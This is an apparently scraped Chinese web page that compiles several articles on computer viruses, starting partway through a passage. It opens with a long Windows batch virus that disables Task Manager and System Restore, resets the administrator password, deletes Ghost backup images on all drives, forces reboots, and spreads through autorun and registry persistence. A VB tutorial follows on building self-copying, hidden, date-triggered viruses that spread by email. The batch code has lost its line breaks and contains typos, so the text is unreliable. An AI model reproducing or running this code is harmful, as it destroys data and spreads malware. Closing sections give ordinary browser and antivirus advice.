DisableTaskMgr /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskBar /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows“ ”NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows“ ”NT\SystemRestore /v DisableConfig /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v RestrictRun /t REG_DWORD /d 00000001 /f >nulclsnet user administrator 123456 >nulfor %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q >nulecho @echo off >d:\setup.batecho shutdown -r -t 10 -f -c 亲爱的朋友,我十分抱歉的通知你,你的电脑已经严重崩溃,请重新安装系统可以解决此问题!^.^ >>d:\setup.batecho copy d:\setup.bat c:\Documents“ ”and“ ”Settings\All“ ”Users\「开始」菜单\程序\启动\a.bat >>d:\setup.batecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f >>d:\setup.batecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f >>d:\setup.batecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat /f >>d:\setup.batHKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f >>d:\setup.batecho [windows] >>%windir%\win.iniecho run=d:\setup.bat C:\AUTOEXEC.BAT >>%windir%\win.iniecho load=d:\setup.bat C:\AUTOEXEC.BAT >>%windir%\win.iniecho [boot] >>%windir%\system.iniecho shell=explorer.exe setup.bat C:\AUTOEXEC.BAT >>%windir%\system.iniecho [AutoRun] >d:\autorun.infecho pen=setup.bat >>d:\autorun.infecho pen=system.bat >>d:\autorun.infattrib d:\autorun.inf +r +s +h >>d:\setup.batattrib d:\setup.bat +r +s +h >>d:\setup.batstart d:\setup.bat /min >nulecho @echo off >>C:\AUTOEXEC.BATecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BATecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BATREG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BATecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f >>C:\AUTOEXEC.BATecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f >>C:\AUTOEXEC.BATREG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat /f >>C:\AUTOEXEC.BATecho if not d:\setup.bat start %windir%\system32\cmd.bat /min >>C:\AUTOEXEC.BATcopy %0 %systemroot%\windows.bat >nulif not exist %windir%/system32/explorer.bat @echo off >>%windir%/system32/explorer.batif not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min >>%windir%/system32/explorer.batif not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min >>%windir%/system32/explorer.batecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.batecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.batecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f >>%windir%/system32/explorer.batecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f >>%windir%/system32/explorer.batecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d %windir%/system32/explorer.bat/f >>%windir%/system32/explorer.batecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d %windir%/system32/explorer.bat /f >>%windir%/system32/explorer.batecho start %systemroot%\windows.bat /min >>%windir%/system32/explorer.batattrib %windir%/system32/explorer.bat +r +s +h%attrib %systemroot%/windows.bat +r +s +hfor %%c in (%alldrive%) do echo @echo off >>%%c:\system.batfor %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min >>%%c:\system.batfor %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:\system.batset drive=e f g h i j k l m n o p q r s t u v w x y zfor %%c in (%drive%) do echo [AuroRun] >%%c:\autorun.inffor %%c in (%drive%) do echo pen=system.bat >>%%c:\autorun.infcopy %0 d:\Program“ ”Files\run.batfor %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start d:\Program“ ”Files\run.bat /min >>%%c:\system.batfor %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:\system.batfor %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h >nulfor %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h >nulif not exist %windir%/system32/explorer.bat start d:\Program“ ”Files\run.bat /min >>d:\setup.batattrib d:\Program“ ”Files\run.bat +r +s +h >nuldel %0exit

具体的意思我也不说了,太长了,有点批处理基础的朋友应该都看得懂.

虽然我检查过,但是写这么长难免有错误,哪里写错了,还请高手们多多指点,

篇3:VB编写病毒的大体方法病毒防范

电脑界的每个人都痛恨计算机病毒,她给我们带来了很多麻烦和损失,可你知道编写病毒的方法和过程吗?在此我仅以VB编写为例,揭开她的面纱,

用VB编写病毒需要考虑到如下几点:

* 感染主机

~~~~~~~~~~

首先染毒文件运行后先要判断主机是否以感染病毒,也就是判断病毒主体文件是否存在,如果不存在则将病毒主体拷贝到指定位置(如:

将病毒文件拷贝到c:windowssystem),可用filecopy语句实现;如果病毒已感染主机则结束判断。

例如,判断C:windowssystemKiller.exe是否存在,如果有则退出判断,如果没有则证明本机未感染病毒,立即拷入病毒文件。

病毒源文件名为game.exe

声明部分:

''定义 FileExists% 函数

public success%

Function FileExists%(fname$)

On Local Error Resume Next

Dim ff%

ff% = FreeFile

Open fname$ For Input As ff%

If Err Then

FileExists% = False

Else

FileExists% = True

End If

Close ff%

End Function

代码部分:

''判断文件是否存在

success% = FileExists%(“C:windowssystemKiller.exe”)

If success% = False Then ''病毒不存在则拷贝病毒到计算机

FileCopy “game.exe”, “C:windowssystemKiller.exe”

... ''修改注册表,将其加入RUN中。(省略若干代码)

End If

* 开机启动病毒

~~~~~~~~~~~~~~

在病毒感染主机的同时,将自身加入注册表的开机运行中,这与向主机拷入病毒是同时进行的,主机感染后不再修改注册表,

可通过编程

和调用API函数对WIN注册表进行操作来实现,这样在每次启动计算机时病毒自动启动。(具体编写方法请查阅其它资料)

* 任务管理器

~~~~~~~~~~~~

在任务管理器列表中禁止病毒本身被列出,可以通过编程来实现。

用代码 App.TaskVisible = false 就可以实现;再有就是通过调用Win API函数来实现,这里就不作介绍了。

* 病毒发作条件

~~~~~~~~~~~~~~

可用Day(Date)来判断今天是几号,再与确定好的日期作比较,相同则表现出病毒主体的破坏性,否则不发作。也可用Time、Date或其它方

法作为病毒发作条件的判断。

例:

if day(date)=16 then ''16是发作日期,取值为1-31的整数

... ... ''kill ******* 当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路等,省略若干代码)

end if

* 病毒的破坏性

~~~~~~~~~~~~~~

编写的此部分代码决定了病毒威力的强弱。轻的可以使系统资源迅速减少直至死机(需要你懂得一点蠕虫的原理),也就是实现开机即死的

效果;也可以加入硬盘炸弹代码、系统后台删文件等。重的可以使计算机彻底瘫痪(不作介绍,你可以参阅其它病毒的有关资料)。

* 病毒的繁殖

~~~~~~~~~~~~

原理很简单,就是将其自身与其它可执行文件合并,也就是两个文件并成一个文件。也可通过E-Mail传播,方法是病毒读取被感染主机的

邮件列表,将带有病毒附件的E-Mail发给列表中的每一个人(这需要你懂得VB网络编程)。

读完本文章相信您已对病毒的编写思路有了初步的了解,如果你是个VB爱好者,你已经可以编写一个很简单的病毒了,但你要是精通VB的话,请不要有编写后传播她的想法,因为传播她造成很大的影响将改变你的命运(被公安抓住就挂了)。

篇4:防范病毒 安全使用IE浏览器的几点建议

据国外媒体报道,近日,业界中出现 利用IE 漏洞攻击包括高科技公司的事件,

毫无疑问,IE浏览器的安全问题是当前的最大焦点。下面是安全使用IE的几点建议:

最安全的IE版本:IE8

由于微软的IE浏览器称霸多年,很多第三方服务都是以IE为平台研发设计的(比如网银),如此一来,用户必须使用IE才能正常进行操作。而且Windows的更新也是通过IE发布的,即时你从没有打开过IE,也要确保浏览器升级到新版本,否则其中的漏洞就会成为 攻击的入口。

在必须使用和保留IE浏览器的情况下,推荐使用IE8。

必须强调的是,IE 8太专注于安全性能,所以兼容性和稳定性被大打折扣。用户常常会发现“Flash版本太低”、“保护数据,关闭IE”的情况。所以,大家要在安全性和易用性中做出选择。

IE安全设置

进入工具菜单,点击Internet选项,在高级中确保启动保护模式(XP SP3以后的版本默认项)。

IE 6中的数据执行保护(DEP)设置:

设置IE6中的数据执行保护:1、右键我的电脑,进入“属性”菜单;2、选择“高级”选项;3、点击性能后的“设置”功能;4、进入“数据执行保护”选项卡;5、点击应用,保存即可,

当然,启动保护模式和DEP是长远的安全措施,如果你还不满足,还有其他加强IE安全的方法.

其一,尽量减少以管理员身份使用电脑,采用普通用户账号登陆。如此一来,涉及敏感安全的操作都会被系统禁止。

其二,将IE设置为高安全级别。很多人觉得高安全级别太过繁琐,但是在新版IE 中的“自定义”功能,可以让用户选择一个合适的安全水平。

建立完备的安全体系:

除了上述IE安全设置外,电脑的安全体系中还包括:1、每周二,Windows系统都会弹出更新提示。Windows Update是微软提供的自动更新工具,我们通过它来扩展系统功能、修补漏洞、让系统支持更多的软硬件;2、选择一款合适的杀毒软件也是必不可少的。

最彻底的方式:放弃使用IE

由于漏洞只存在于IE中,所以最彻底的方法就是放弃使用IE。浏览器市场中,还有众多非IE内核的产品,比如Firefox、Chrome、Safari等,上述产品的性能都不输于IE。另外,非IE用户还可以通过IE Tab插件,实现兼容的功能。

目前,微软安全部门正在24小时加紧修复漏洞代码,新的安全补丁预计不久后就可发布给用户。

篇5:杀毒也要讲科学 杀软使用两大通用准则病毒防范

大多数人认为,杀毒软件只要能杀毒就行,不讲究什么技巧,其实不然,掌握了杀毒软件的使用技巧,实际就是掌握了一种正确的或是更有效的杀毒方法。而合理的安排杀毒软件的使用方法和方式,可以更好的维护你的系统不受侵害。

1、多种查杀方式

杀毒软件比较全面地提供了“发现病毒时的处理方式、遇到无法清除病毒时的处理方式、查毒结束时的处理方式”等等,对于使用病毒防火墙和定时查毒等方法,可以采用不同的组合,实现最佳的查毒效果,

一般情况下,发现病毒时,应询问后再处理;无法清除病毒时,不再做处理;查毒结束时,返回控制中心。还有一种情况,如果你下班了或是有事出去,希望利用这段时间来检测病毒,那就可以采用查毒结束时,关闭计算机的方式。

2、定时查毒好处多

如今大硬盘,杀毒再快,时间也是较长的。于是定时查毒就派上用场了,你可以固定一个你休息的时候查毒,不用经历长时间的等待,到时候就帮你解决了。定时查毒还有另一个功效,帮你记住一些难以忘却的日子,比如4月26日CIH发作日等。

此外,软件的升级周期是一周一次,所以建议定时查毒的周期也是每周一次,一升级就查一遍,保证安全。

小燕病毒分析报告病毒防治

浅谈用delphi来编写蠕虫病毒

SMT工程师的求职简历

教你做服务级的木马后门

网络安全试题

计算机专业毕业论文

用vfp编写Web Service

计算机网络管理与维护论文

网络安全自查报告【精选】

计算机系毕业论文

纯ASM编写的病毒供学习使用病毒防范
《纯ASM编写的病毒供学习使用病毒防范.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【纯ASM编写的病毒供学习使用病毒防范(精选5篇)】相关文章:

ghost.exe病毒的解决方法2022-04-29

关于Linux下病毒的话题Windows系统2022-06-12

网络上演“木马屠城”疑是有组织犯罪活动2023-04-10

计算机通信毕业论文2022-08-06

计算机毕业论文范文模板2023-10-18

计算机毕业论文范文2024-02-01

银行信息稿范文2022-09-03

网络信息安全自查报告2024-01-25

网络自查报告2022-07-20

影响本科毕业论文质量2023-03-31

点击下载本文文档